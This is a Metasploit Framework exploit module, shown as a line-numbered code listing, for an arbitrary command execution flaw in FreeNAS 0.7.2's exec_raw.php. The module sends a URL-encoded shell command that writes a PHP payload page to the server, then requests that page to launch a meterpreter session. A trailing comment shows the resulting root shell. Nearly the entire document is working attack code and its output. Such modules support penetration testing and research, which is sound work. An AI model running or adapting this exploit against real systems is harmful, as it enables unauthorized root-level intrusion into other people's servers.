| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 | ## # $Id: freenas_exec_raw.rb 11127 2010-11-24 19:35:38Z jduck $ ### ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GreatRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})  super(update_info(info,  'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution',  'Description'=> %q{  This module exploits an arbitrary command execution flaw  in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL  to the exec_raw.php page, an attacker may be able to execute arbitrary  commands.  NOTE: This module works best with php/meterpreter payloads.  },  'Author' => [ 'MC' ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 11127 $',  'References' =>  [  [ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ],  ],  'Payload' =>  {  'Space'=> 6144,  'DisableNops' => true,  'BadChars'=> "`\"' %&x",  },  'Targets' =>  [  [ 'Automatic Target', { } ]  ],  'Privileged' => 'true',  'Platform' => 'php',  'Arch' => ARCH_PHP,  'DisclosureDate' => 'Nov 6 2010',  'DefaultTarget' => 0))  register_options(  [  Opt::RPORT(80),  ], self.class)  end  def exploit  page = rand_text_alpha_upper(rand(5) + 1 ) + ".php"  shellcode = payload.encoded  sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"  print_status("Sending exploit page '#{page}'")  res = send_request_raw(  {  'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),  }, 10)  if (res and res.code == 200)  print_status("Triggering payload...")  send_request_raw({ 'uri' => "/#{page}" }, 5)  handler  else  print_error("Exploit failed.")  return  end  end end =begin meterpreter > sysinfo Computer: freenas.local OS: FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386 meterpreter > getuid Server username: root (0) meterpreter > =end |